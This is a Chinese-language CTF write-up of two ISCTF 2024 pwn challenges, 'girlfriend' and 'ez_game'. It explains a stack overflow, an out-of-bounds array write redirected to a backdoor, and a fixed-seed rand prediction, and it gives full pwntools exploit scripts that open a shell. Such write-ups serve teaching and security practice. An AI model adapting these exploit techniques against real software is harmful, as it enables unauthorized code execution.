ISCTF pwn方向“girlfriend"
by Maple
直接明确的:
- 通过溢出覆盖元素内容
- 通过数组越界覆盖返回地址
main:
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
char s1[8]; // [rsp+28h] [rbp-8h] BYREF
init(argc, argv, envp);
puts("welcome to isctf2024");
puts("first i need your team id");
read(0, buf, 0x30uLL);
if ( strcmp(s1, "admin") )
{
puts("no no no");
exit(0);
}
puts("ok, go on");
vuln();
return 0;
}
要求s1和为admin,可以看到s1距离栈底偏移为0x28,所以填充0x28个数据再写入admin就好了
payload = b'b'*0x28 + b'admin'
p.sendafter(b'team id', payload)
vuln:
__int64 vuln()
{
__int64 result; // rax
_QWORD v1[5]; // [rsp+0h] [rbp-30h] BYREF
__int64 i; // [rsp+28h] [rbp-8h]
for ( i = 0LL; i <= 7; ++i )
{
printf("please input your %d girlfriend birthday\n", i + 1);
result = __isoc99_scanf("%ld", &v1[i]);
}
return result;
}
一共八次输入,但v1只有5个元素,第八次输入的时候恰好会覆盖result,所以前面先输入一些,第八次改为后门函数的地址就可以了
for i in range(7):
p.recvuntil(b'birthday\n')
p.sendline(b'5')
payload = str(0x40121E)
p.sendlineafter(b'birthday\n' , payload)
总exp:
from pwn import *
elf = ELF("./pwn")
context.log_level = 'debug'
p = process('./pwn')
payload = b'b'*0x28
payload += b'admin'
p.sendafter(b'team id', payload)
for i in range(7):
p.recvuntil(b'birthday\n')
p.sendline(b'5')
payload = str(0x40121E)
p.sendlineafter(b'birthday\n' , payload)
p.interactive()
ISCTF pwn方向“ez_game"
by Maple
本来以为是直接栈溢出跳转后门函数,结果数据有点大,溢出不到,最后还是直接伪随机数解决
先看源码
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-1A4h] BYREF
char v5[400]; // [rsp+10h] [rbp-1A0h] BYREF
unsigned int seed; // [rsp+1A0h] [rbp-10h]
int v7; // [rsp+1A8h] [rbp-8h]
int i; // [rsp+1ACh] [rbp-4h]
init(argc, argv, envp);
seed = 1;
puts("Welcome to ISCTF's pwn mini-game.");
puts("This procedure is only 15 seconds");
signal(14, handle_sigalrm);
alarm(0xFu);
printf("Enter your username: ");
gets(v5);
srand(seed);
for ( i = 0; i <= 20000; ++i )
{
v7 = rand() % 7 + 1;
printf("Round %d\n", (unsigned int)(i + 1));
printf("Please enter the number you want to guess: ");
__isoc99_scanf("%d", &v4);
if ( v7 != v4 )
{
puts("Wrong, goodbye");
exit(1);
}
puts("Congratulations, you win!");
}
getshell();
return 0;
}
seed = 1,2w次循环,全猜对了就可以getshell,那就跟着来就行
from pwn import *
from ctypes import *
p = process('./ez_game')
elf = ELF('./ez_game')
libc = cdll.LoadLibrary('./libc.so.6')
libc.srand(1); # 设置随机数种子为1,源码是这样写的
result = [0]*20001 # 创建一个20001长度的列表,初始化为0
for i in range(20001):
result[i] = str(libc.rand()%7+1)
payload = b'a'
p.sendlineafter(b'username: ',payload)
for i in range(20001):
p.sendline(result[i])
p.interactive()
ctypes
from ctypes import *引入了ctypes库,这个库允许Python调用系统中的C库函数。它可以访问和操作C数据结构、内存和地址
libc = cdll.LoadLibrary("./libc.so.6")来加载本地的动态链接库文件,以此调用libc中提供的各种函数
注意,它和libc = ELF('./libc.so.6')完全是两件事。
-
cdll.LoadLibrary()是创建了一个叫做libc的,可以访问libc.so.6库的对象 -
ELF()是创建了一个包含该二进制文件元数据的元素(包括符号表、地址偏移、函数符号等)的对象
| 方式 | 功能 | 使用场景 |
|---|---|---|
cdll.LoadLibrary() |
加载动态链接库,允许调用其中的函数 | 直接调用 C 函数,进行底层操作。常用于与 C 库进行交互(如调用 rand()、srand() 等函数)。 |
ELF() |
解析 ELF 格式的文件,提供符号、地址等信息 | 进行二进制分析、漏洞利用等,查找函数的地址、进行地址计算或符号解析。 |